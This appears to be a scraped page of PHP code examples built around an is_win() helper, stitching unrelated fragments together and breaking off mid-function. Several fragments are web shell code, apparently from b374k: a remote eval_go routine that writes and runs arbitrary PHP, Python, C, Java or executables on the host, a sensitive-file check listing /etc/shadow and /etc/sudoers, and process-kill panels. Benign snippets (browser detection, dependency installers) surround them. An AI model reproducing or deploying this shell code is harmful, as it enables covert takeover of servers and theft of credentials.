function show_processes()
 {
     $output = '';
     $wcount = 11;
     if (is_win()) {
         $cmd = "tasklist /V /FO csv";
         $wexplode = "\",\"";
     } else {
         $cmd = "ps aux";
         $wexplode = " ";
     }
     $res = execute($cmd);
     if (trim($res) == '') {
         return false;
     } else {
         $output .= "<table id='psTable' class='dataView sortable'>";
         if (!is_win()) {
             $res = preg_replace('#\\ +#', ' ', $res);
         }
         $psarr = explode("\n", $res);
         $fi = true;
         $tblcount = 0;
         $check = explode($wexplode, $psarr[0]);
         $wcount = count($check);
         foreach ($psarr as $psa) {
             if (trim($psa) != '') {
                 if ($fi) {
                     $fi = false;
                     $psln = explode($wexplode, $psa, $wcount);
                     $output .= "<tr><th class='col-cbox sorttable_nosort'><div class='cBoxAll'></div></th><th class='sorttable_nosort'>action</th>";
                     foreach ($psln as $p) {
                         $output .= "<th>" . trim(trim(strtolower($p)), "\"") . "</th>";
                     }
                     $output .= "</tr>";
                 } else {
                     $psln = explode($wexplode, $psa, $wcount);
                     $pid = trim(trim($psln[1]), "\"");
                     $tblcount = 0;
                     $output .= "<tr data-pid='" . $pid . "'>";
                     foreach ($psln as $p) {
                         if (trim($p) == "") {
                             $p = " ";
                         }
                         $p = trim(trim($p), "\"");
                         $p = html_safe($p);
                         if ($tblcount == 0) {
                             $output .= "<td><div class='cBox'></div></td><td><a class='kill'>kill</a></td><td>" . $p . "</td>";
                             $tblcount++;
                         } else {
                             $tblcount++;
                             if ($tblcount == count($psln)) {
                                 $output .= "<td style='text-align:left;'>" . $p . "</td>";
                             } else {
                                 $output .= "<td style='text-align:center;'>" . $p . "</td>";
                             }
                         }
                     }
                     $output .= "</tr>";
                 }
             }
         }
         $colspan = count($psln) + 1;
         $colspanAll = $colspan + 1;
         $output .= "<tfoot><tr><td><div class='cBoxAll'></div></td><td colspan=" . $colspan . " style='text-align:left;'><span class='button' onclick='kill_selected();' style='margin-right:8px;'>kill selected</span><span class='button' onclick='show_processes();'>refresh</span><span class='psSelected'></span></td></tr></tfoot></table>";
     }
     return $output;
 }
function disableHost($name)
{
    if (!preg_match('/(\\w+)\\.?(\\w+)/', $name)) {
        println('Please check the name syntax');
        return false;
    }
    if (is_win()) {
        $win_path = is_dir('/windows') ? '/windows' : '/winnt';
        $host_path = $win_path . '/system32/drivers/etc/hosts';
    } else {
        $host_path = '/etc/hosts';
    }
    $host_file = read_file($host_path);
    $host_file = preg_replace('/\\s+[0-9,\\.]+\\s+' . str_replace('.', '\\.', $name) . '/', '', $host_file);
    write_file($host_path, $host_file);
    println('Host ' . $name . ' removed in hosts file successfully!');
}
Beispiel #3
0
 private function copy_file($src, $dest)
 {
     if (is_win()) {
         $this->execute("copy {$src} {$dest} /Y >log.txt");
     } else {
         $this->execute("cp -fR {$src} {$dest}");
     }
 }
Beispiel #4
0
 function get_cookie_save_file($url)
 {
     $info = parse_url($url);
     return (is_win() ? "e:\\" : "/tmp/") . $info['host'] . (empty($info['port']) ? "" : "_" . $info['port']) . ".cookie";
 }
Beispiel #5
0
<form action='<?php 
echo get_self();
?>
' method='post' id='form' target='_blank'></form>
<!--script start-->
<script type='text/javascript'>
var targeturl = '<?php 
echo get_self();
?>
';
var module_to_load = '<?php 
echo implode(",", $GLOBALS['module_to_load']);
?>
';
var win = <?php 
echo is_win() ? 'true' : 'false';
?>
;
var init_shell = true;
<__ZEPTO__>
<__JS__>

<?php 
foreach ($GLOBALS['module_to_load'] as $k) {
    echo "function " . $GLOBALS['module'][$k]['id'] . "(){ " . $GLOBALS['module'][$k]['js_ontabselected'] . " }\n";
}
?>
</script>
<!--script end-->
</body>
</html><?php 
function is_open_perms($file)
{
    if (!is_win()) {
        clearstatcache();
        $perm = substr(decoct(fileperms($file)), 2);
        return $perm == '0777';
    }
    return false;
}
<?php

function is_win()
{
    return strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
}
echo PHP_EOL;
echo 'Updating Bower dependencies...' . PHP_EOL;
try {
    echo shell_exec('bower' . (is_win() ? '.cmd' : '') . ' update');
} catch (Exception $e) {
    die('Error updating composer dependencies');
}
flush();
echo PHP_EOL;
echo 'Creamture is updated, let go!!' . PHP_EOL;
function detect_browser($link_id, $UA = "")
{
    // Determine the platform [0], browser name[1] and version[2]
    if ($UA == "") {
        $UA = getenv('HTTP_USER_AGENT');
    }
    $output = array();
    $output[0] = "";
    $output[1] = "";
    $output[2] = "";
    // Check for windows
    if (strstr($UA, 'Win') || strstr($UA, '16bit') || strstr($UA, '95') || strstr($UA, '4.9')) {
        $output[0] = is_win($UA);
    } elseif (strstr($UA, 'Mac') || strstr($UA, 'apple') || strstr($UA, '68')) {
        $output[0] = is_mac($UA);
    } else {
        $output[0] = is_other($UA);
    }
    // Now check for browser and version
    if (strstr($UA, "Mozilla")) {
        // Mozilla based browser
        if (strstr($UA, "ANTFresco")) {
            $match = "//";
            $output[1] = "Bush Internet";
            $output[2] = get_version($UA, $match, 0);
        } elseif (strstr($UA, "Multiphone")) {
            $match = "//";
            $output[1] = "Multiphone";
            $output[2] = get_version($UA, $match, 0);
        } elseif (strstr($UA, "Konqueror")) {
            $match = "//";
            $output[1] = "Konqueror";
            $output[2] = get_version($UA, $match, 0);
        } elseif (strstr($UA, "MSIE")) {
            $match = "/MSIE ([1-9]\\.[0-9]{1,2})/";
            $output[1] = "Internet Explorer";
            $output[2] = get_version($UA, $match, 1);
        } elseif (strstr($UA, "MS Front")) {
            $output[1] = "Internet Explorer";
            $output[2] = "4.0";
            $output[0] = "Windows (32-bit)";
        } elseif (strstr($UA, "MSPIE")) {
            $match = "/MSPIE ([1-9]\\.[0-9])/";
            $output[1] = "Pocket Internet Explorer";
            $output[2] = get_version($UA, $match, 1);
        } elseif (strstr($UA, "IWENG")) {
            $match = "//";
            $output[1] = "AOL browser";
            $output[2] = get_version($UA, $match, 0);
        } elseif (strstr($UA, "aol")) {
            $match = "//";
            $output[1] = "AOL browser";
            $output[2] = get_version($UA, $match, 0);
        } elseif (strstr($UA, "PowerBrowser")) {
            $match = "//";
            $output[1] = "Oracle PowerBrowser";
            $output[2] = get_version($UA, $match, 0);
        } elseif (strstr($UA, "Opera")) {
            $match = "//";
            $output[1] = "Opera";
            $output[2] = get_version($UA, $match, 0);
        } elseif (strstr($UA, "WebTV") && strstr($UA, "MSIE")) {
            $match = "//";
            $output[1] = "WebTV";
            $output[2] = get_version($UA, $match, 0);
        } elseif (strstr($UA, "Dreamcast")) {
            $match = "//";
            $output[1] = "Dreamcast";
            $output[2] = get_version($UA, $match, 0);
        } elseif (strstr($UA, "iCAB")) {
            $match = "//";
            $output[1] = "iCAB";
            $output[2] = get_version($UA, $match, 0);
        } elseif (strstr($UA, "CJPENNYCATE")) {
            $match = "//";
            $output[1] = "Web2U";
            $output[2] = get_version($UA, $match, 0);
        } elseif (strstr($UA, "AOLTV")) {
            $match = "//";
            $output[1] = "AolTV";
            $output[2] = get_version($UA, $match, 0);
        } elseif (strstr($UA, "Netbox")) {
            $match = "//";
            $output[1] = "Netgen";
            $output[2] = get_version($UA, $match, 0);
        } elseif (strstr($UA, "compatible")) {
            $match = "/MSIE ([1-9]\\.[0-9])/";
            $output[1] = "Internet Explorer";
            $output[2] = get_version($UA, $match, 1);
        } else {
            // No other matches so it must be some form of Netscape
            $match = "/Mozilla\\/([0-9].[0-9]{1,2})/";
            $output[1] = "Netscape";
            $output[2] = get_version($UA, $match, 1);
        }
    } else {
        // Non-Mozilla based browsers
        //
        // NEED TO CHECK TO SEE IF IT IS A ROBOT
        if (strstr($UA, "Internet Explorer") && !strstr($UA, "Pocket")) {
            $match = "/Explorer\\/4/";
            $output[1] = "Internet Explorer";
            $output[2] = "4.0 (beta)";
        } elseif (strstr($UA, "Pocket")) {
            $match = "/Explorer\\/([0-9]\\.[0-9])/";
            $output[1] = "Pocket Internet Explorer";
            $output[2] = get_version($UA, $match, 1);
            $output[0] = "Windows CE";
        } elseif (strstr($UA, "lynx") || strstr($UA, "libwww")) {
            $match = "//";
            $output[1] = "Lynx";
            $output[2] = get_version($UA, $match, 0);
        } elseif (strstr($UA, "Mosaic")) {
            $match = "//";
            $output[1] = "NCSA Mosaic";
            $output[2] = get_version($UA, $match, 0);
        } elseif (strstr($UA, "PRODIGY")) {
            $match = "//";
            $output[1] = "Prodigy";
            $output[2] = get_version($UA, $match, 0);
        } elseif (strstr($UA, "HotJava")) {
            $match = "//";
            $output[1] = "HotJava";
            $output[2] = get_version($UA, $match, 0);
        } elseif (strstr($UA, "IBrowse")) {
            $match = "//";
            $output[1] = "IBrowse";
            $output[2] = get_version($UA, $match, 0);
        } elseif (strstr($UA, "IBrowse")) {
            $match = "//";
            $output[1] = "WebExplorer";
            $output[2] = get_version($UA, $match, 0);
        } elseif (strstr($UA, "IBM-WebExplorer")) {
            $match = "//";
            $output[1] = "IBM-WebExplorer";
        } elseif (strstr($UA, "MacWeb")) {
            $match = "//";
            $output[1] = "MacWeb";
            $output[2] = get_version($UA, $match, 0);
        } elseif (strstr($UA, "Cyberdog")) {
            $match = "//";
            $output[1] = "Cyberdog";
            $output[2] = get_version($UA, $match, 0);
        } elseif (strstr($UA, "Amiga")) {
            $match = "//";
            $output[1] = "Amiga Voyager";
            $output[2] = get_version($UA, $match, 0);
        } elseif (strstr($UA, "ANT")) {
            $match = "//";
            $output[1] = "ANT-Fresco";
            $output[2] = get_version($UA, $match, 0);
        } elseif (strstr($UA, "Blazer")) {
            $match = "//";
            $output[1] = "Blazer";
            $output[2] = get_version($UA, $match, 0);
        }
    }
    // Check to see if we need to store UA in database
    if (empty($output[0]) || empty($output[1]) || empty($output[2])) {
        store_unknown($link_id, $UA);
    }
    // Check for empty values and set them to 'unknown' if found
    if (empty($output[0])) {
        $output[0] = "unknown";
    }
    if (empty($output[1])) {
        $output[1] = "unknown";
    }
    if (empty($output[2])) {
        $output[2] = "unknown";
    }
    return $output;
}
echo PHP_EOL;
echo 'Checking Deployer...' . PHP_EOL;
try {
    //check deployer requirement
    if (!file_exists(__DIR__ . '/../vendor/deployer.phar')) {
        file_put_contents(__DIR__ . '/../vendor/deployer.phar', file_get_contents('http://deployer.org/deployer.phar'));
    }
    echo 'Execute php vendor/deployer.phar when you want it' . PHP_EOL;
} catch (Exception $e) {
    die('Error downloading Deployer' . PHP_EOL);
}
flush();
echo PHP_EOL;
echo 'Installing Bower dependencies...' . PHP_EOL;
try {
    echo shell_exec('bower' . (is_win() ? '.cmd' : '') . ' install');
} catch (Exception $e) {
    die('Error installing composer dependencies');
}
flush();
echo PHP_EOL;
echo 'Installing Sparks packages...' . PHP_EOL;
try {
    echo shell_exec('php tools/spark install -v1.0.1 ajax');
    echo shell_exec('php tools/spark install -v0.7.0 console');
    echo shell_exec('php tools/spark install -v1.5.1 assets');
} catch (Exception $e) {
    die('Error installing sparks dependencies');
}
flush();
echo PHP_EOL;
Beispiel #10
0
 function info_getinfo()
 {
     $res = "";
     // server misc info
     $res .= "<p class='boxtitle' onclick=\"info_toggle('info_server');\" style='margin-bottom:8px;'>Server Info</p>";
     $res .= "<div id='info_server' style='margin-bottom:8px;display:none;'><table class='dataView'>";
     if (is_win()) {
         foreach (range("A", "Z") as $letter) {
             if (is_readable($letter . ":\\")) {
                 $drive = $letter . ":";
                 $res .= "<tr><td>drive " . $drive . "</td><td>" . format_bit(@disk_free_space($drive)) . " free of " . format_bit(@disk_total_space($drive)) . "</td></tr>";
             }
         }
     } else {
         $res .= "<tr><td>root partition</td><td>" . format_bit(@disk_free_space("/")) . " free of " . format_bit(@disk_total_space("/")) . "</td></tr>";
     }
     $res .= "<tr><td>php</td><td>" . phpversion() . "</td></tr>";
     $access = array("python" => "python -V", "perl" => "perl -e \"print \$]\"", "python" => "python -V", "ruby" => "ruby -v", "node" => "node -v", "nodejs" => "nodejs -v", "gcc" => "gcc -dumpversion", "java" => "java -version", "javac" => "javac -version");
     foreach ($access as $k => $v) {
         $version = execute($v);
         $version = explode("\n", $version);
         if ($version[0]) {
             $version = $version[0];
         } else {
             $version = "?";
         }
         $res .= "<tr><td>" . $k . "</td><td>" . $version . "</td></tr>";
     }
     if (!is_win()) {
         $interesting = array("/etc/os-release", "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases", "/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf", "/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf", "/etc/ssh/sshd_config", "/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf", "/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf", "/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules");
         foreach ($interesting as $f) {
             if (@is_file($f) && @is_readable($f)) {
                 $res .= "<tr><td>" . $f . "</td><td><a data-path='" . html_safe($f) . "' onclick='view_entry(this);'>" . $f . " is readable</a></td></tr>";
             }
         }
     }
     $res .= "</table></div>";
     if (!is_win()) {
         // cpu info
         if ($i_buff = trim(read_file("/proc/cpuinfo"))) {
             $res .= "<p class='boxtitle' onclick=\"info_toggle('info_cpu');\" style='margin-bottom:8px;'>CPU Info</p>";
             $res .= "<div class='info' id='info_cpu' style='margin-bottom:8px;display:none;'>";
             $i_buffs = explode("\n\n", $i_buff);
             foreach ($i_buffs as $i_buffss) {
                 $i_buffss = trim($i_buffss);
                 if ($i_buffss != "") {
                     $i_buffsss = explode("\n", $i_buffss);
                     $res .= "<table class='dataView'>";
                     foreach ($i_buffsss as $i) {
                         $i = trim($i);
                         if ($i != "") {
                             $ii = explode(":", $i);
                             if (count($ii) == 2) {
                                 $res .= "<tr><td>" . $ii[0] . "</td><td>" . $ii[1] . "</td></tr>";
                             }
                         }
                     }
                     $res .= "</table>";
                 }
             }
             $res .= "</div>";
         }
         // mem info
         if ($i_buff = trim(read_file("/proc/meminfo"))) {
             $res .= "<p class='boxtitle' onclick=\"info_toggle('info_mem');\" style='margin-bottom:8px;'>Memory Info</p>";
             $i_buffs = explode("\n", $i_buff);
             $res .= "<div class='info' id='info_mem' style='margin-bottom:8px;display:none;'><table class='dataView'>";
             foreach ($i_buffs as $i) {
                 $i = trim($i);
                 if ($i != "") {
                     $ii = explode(":", $i);
                     if (count($ii) == 2) {
                         $res .= "<tr><td>" . $ii[0] . "</td><td>" . $ii[1] . "</td></tr>";
                     }
                 } else {
                     $res .= "</table><table class='dataView'>";
                 }
             }
             $res .= "</table></div>";
         }
         // partition
         if ($i_buff = trim(read_file("/proc/partitions"))) {
             $i_buff = preg_replace("/\\ +/", " ", $i_buff);
             $res .= "<p class='boxtitle' onclick=\"info_toggle('info_part');\" style='margin-bottom:8px;'>Partitions Info</p>";
             $res .= "<div class='info' id='info_part' style='margin-bottom:8px;display:none;'>";
             $i_buffs = explode("\n\n", $i_buff);
             $res .= "<table class='dataView'><tr>";
             $i_head = explode(" ", $i_buffs[0]);
             foreach ($i_head as $h) {
                 $res .= "<th>" . $h . "</th>";
             }
             $res .= "</tr>";
             $i_buffss = explode("\n", $i_buffs[1]);
             foreach ($i_buffss as $i_b) {
                 $i_row = explode(" ", trim($i_b));
                 $res .= "<tr>";
                 foreach ($i_row as $r) {
                     $res .= "<td style='text-align:center;'>" . $r . "</td>";
                 }
                 $res .= "</tr>";
             }
             $res .= "</table>";
             $res .= "</div>";
         }
     }
     $phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES);
     foreach ($phpinfo as $p => $i) {
         $res .= "<p class='boxtitle' onclick=\"info_toggle('" . $i . "');\" style='margin-bottom:8px;'>" . $p . "</p>";
         ob_start();
         eval("phpinfo(" . $i . ");");
         $b = ob_get_contents();
         ob_end_clean();
         if (preg_match("/<body>(.*?)<\\/body>/is", $b, $r)) {
             $body = str_replace(array(",", ";", "&amp;"), array(", ", "; ", "&"), $r[1]);
             $body = str_replace("<table", "<table class='boxtbl' ", $body);
             $body = preg_replace("/<tr class=\"h\">(.*?)<\\/tr>/", "", $body);
             $body = preg_replace("/<a href=\"http:\\/\\/www.php.net\\/(.*?)<\\/a>/", "", $body);
             $body = preg_replace("/<a href=\"http:\\/\\/www.zend.com\\/(.*?)<\\/a>/", "", $body);
             $res .= "<div class='info' id='" . $i . "' style='margin-bottom:8px;display:none;'>" . $body . "</div>";
         }
     }
     $res .= "<span class='button colSpan' onclick=\"info_refresh();\" style='margin-bottom:8px;'>refresh</span><div style='clear:both;'></div>";
     return $res;
 }
Beispiel #11
0
 function eval_go($evalType, $evalCode, $evalOptions, $evalArguments)
 {
     $res = "";
     $output = "";
     if ($evalOptions != "") {
         $evalOptions = $evalOptions . " ";
     }
     if ($evalArguments != "") {
         $evalArguments = " " . $evalArguments;
     }
     if ($evalType == "php") {
         ob_start();
         eval($evalCode);
         $res = ob_get_contents();
         ob_end_clean();
         return $res;
     } elseif ($evalType == "python" || $evalType == "perl" || $evalType == "ruby" || $evalType == "node" || $evalType == "nodejs") {
         $tmpdir = get_writabledir();
         chdir($tmpdir);
         $res .= "Using dir : " . $tmpdir;
         if (is_writable($tmpdir)) {
             $res .= " (writable)\n";
             $uniq = substr(md5(time()), 0, 8);
             $filename = $evalType . $uniq;
             $path = $filename;
             $res .= "Temporary file : " . $path;
             if (write_file($path, $evalCode)) {
                 $res .= " (ok)\n";
                 $res .= "Setting permissions : 0755";
                 if (chmod($path, 0755)) {
                     $res .= " (ok)\n";
                     $cmd = $evalType . " " . $evalOptions . $path . $evalArguments;
                     $res .= "Execute : " . $cmd . "\n";
                     $output = execute($cmd);
                 } else {
                     $res .= " (failed)\n";
                 }
                 $res .= "Deleting temporary file : " . $path;
                 if (unlink($path)) {
                     $res .= " (ok)\n";
                 } else {
                     $res .= " (failed)\n";
                 }
             } else {
                 $res .= " (failed)\n";
             }
         } else {
             $res .= " (not writable)\n";
         }
         $res .= "Finished...";
         return $res . "{[|b374k|]}" . $output;
     } elseif ($evalType == "gcc") {
         $tmpdir = get_writabledir();
         chdir($tmpdir);
         $res .= "Using dir : " . $tmpdir;
         if (is_writable($tmpdir)) {
             $res .= " (writable)\n";
             $uniq = substr(md5(time()), 0, 8);
             $filename = $evalType . $uniq . ".c";
             $path = $filename;
             $res .= "Temporary file : " . $path;
             if (write_file($path, $evalCode)) {
                 $res .= " (ok)\n";
                 $ext = is_win() ? ".exe" : ".out";
                 $pathres = $filename . $ext;
                 $evalOptions = "-o " . $pathres . " " . $evalOptions;
                 $cmd = "gcc " . $evalOptions . $path;
                 $res .= "Compiling : " . $cmd;
                 $res .= execute($cmd);
                 if (is_file($pathres)) {
                     $res .= " (ok)\n";
                     $res .= "Setting permissions : 0755";
                     if (chmod($pathres, 0755)) {
                         $res .= " (ok)\n";
                         $cmd = $pathres . $evalArguments;
                         $res .= "Execute : " . $cmd . "\n";
                         $output = execute($cmd);
                     } else {
                         $res .= " (failed)\n";
                     }
                     $res .= "Deleting temporary file : " . $pathres;
                     if (unlink($pathres)) {
                         $res .= " (ok)\n";
                     } else {
                         $res .= " (failed)\n";
                     }
                 } else {
                     $res .= " (failed)\n";
                 }
                 $res .= "Deleting temporary file : " . $path;
                 if (unlink($path)) {
                     $res .= " (ok)\n";
                 } else {
                     $res .= " (failed)\n";
                 }
             } else {
                 $res .= " (failed)\n";
             }
         } else {
             $res .= " (not writable)\n";
         }
         $res .= "Finished...";
         return $res . "{[|b374k|]}" . $output;
     } elseif ($evalType == "java") {
         $tmpdir = get_writabledir();
         chdir($tmpdir);
         $res .= "Using dir : " . $tmpdir;
         if (is_writable($tmpdir)) {
             $res .= " (writable)\n";
             if (preg_match("/class\\ ([^{]+){/i", $evalCode, $r)) {
                 $classname = trim($r[1]);
                 $filename = $classname;
             } else {
                 $uniq = substr(md5(time()), 0, 8);
                 $filename = $evalType . $uniq;
                 $evalCode = "class " . $filename . " { " . $evalCode . " } ";
             }
             $path = $filename . ".java";
             $res .= "Temporary file : " . $path;
             if (write_file($path, $evalCode)) {
                 $res .= " (ok)\n";
                 $cmd = "javac " . $evalOptions . $path;
                 $res .= "Compiling : " . $cmd;
                 $res .= execute($cmd);
                 $pathres = $filename . ".class";
                 if (is_file($pathres)) {
                     $res .= " (ok)\n";
                     $res .= "Setting permissions : 0755";
                     if (chmod($pathres, 0755)) {
                         $res .= " (ok)\n";
                         $cmd = "java " . $filename . $evalArguments;
                         $res .= "Execute : " . $cmd . "\n";
                         $output = execute($cmd);
                     } else {
                         $res .= " (failed)\n";
                     }
                     $res .= "Deleting temporary file : " . $pathres;
                     if (unlink($pathres)) {
                         $res .= " (ok)\n";
                     } else {
                         $res .= " (failed)\n";
                     }
                 } else {
                     $res .= " (failed)\n";
                 }
                 $res .= "Deleting temporary file : " . $path;
                 if (unlink($path)) {
                     $res .= " (ok)\n";
                 } else {
                     $res .= " (failed)\n";
                 }
             } else {
                 $res .= " (failed)\n";
             }
         } else {
             $res .= " (not writable)\n";
         }
         $res .= "Finished...";
         return $res . "{[|b374k|]}" . $output;
     } elseif ($evalType == "executable") {
         $tmpdir = get_writabledir();
         chdir($tmpdir);
         $res .= "Using dir : " . $tmpdir;
         if (is_writable($tmpdir)) {
             $res .= " (writable)\n";
             $uniq = substr(md5(time()), 0, 8);
             $filename = $evalType . $uniq . ".exe";
             $path = $filename;
             $res .= "Temporary file : " . $path;
             if (write_file($path, $evalCode)) {
                 $res .= " (ok)\n";
                 $cmd = $path . $evalArguments;
                 $res .= "Execute : " . $cmd . "\n";
                 $output = execute($cmd);
                 $res .= "Deleting temporary file : " . $path;
                 if (unlink($path)) {
                     $res .= " (ok)\n";
                 } else {
                     $res .= " (failed)\n";
                 }
             } else {
                 $res .= " (failed)\n";
             }
         } else {
             $res .= " (not writable)\n";
         }
         $res .= "Finished...";
         return $res . "{[|b374k|]}" . $output;
     }
     return false;
 }
Beispiel #12
0
 makehide('doing', 'killproc');
 tbhead();
 p('<tr class="head"><td></td><td>User</td><td>PID</td><td>Command</td><td>%CPU</td><td>%MEM</td><td>VSZ</td><td>RSS</td><td>TT</td><td>STAT</td><td>Started</td><td>Time</td><td>Action</td></tr>');
 $wcount = 11;
 if (is_win()) {
     $cmd = "tasklist /V /FO csv";
     $wexplode = "\",\"";
 } else {
     $cmd = "ps aux";
     $wexplode = " ";
 }
 $res = xbox($cmd);
 if (trim($res) == '') {
     m("Error Getting Process List...");
 } else {
     if (!is_win()) {
         $res = $prg('#\\ +#', ' ', $res);
     }
     $psarr = explode("\n", $res);
     $check = explode($wexplode, $psarr[0]);
     $wcount = count($check);
     $thisbg = "alt1";
     $proccount = 0;
     for ($i = 1; $i <= count($psarr); $i++) {
         $psa = $psarr[$i];
         if (trim($psa) != '') {
             p('<tr class="' . $thisbg . '" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $thisbg . '\';">');
             if ($thisbg == "alt1") {
                 $thisbg = "alt2";
             } else {
                 $thisbg = "alt1";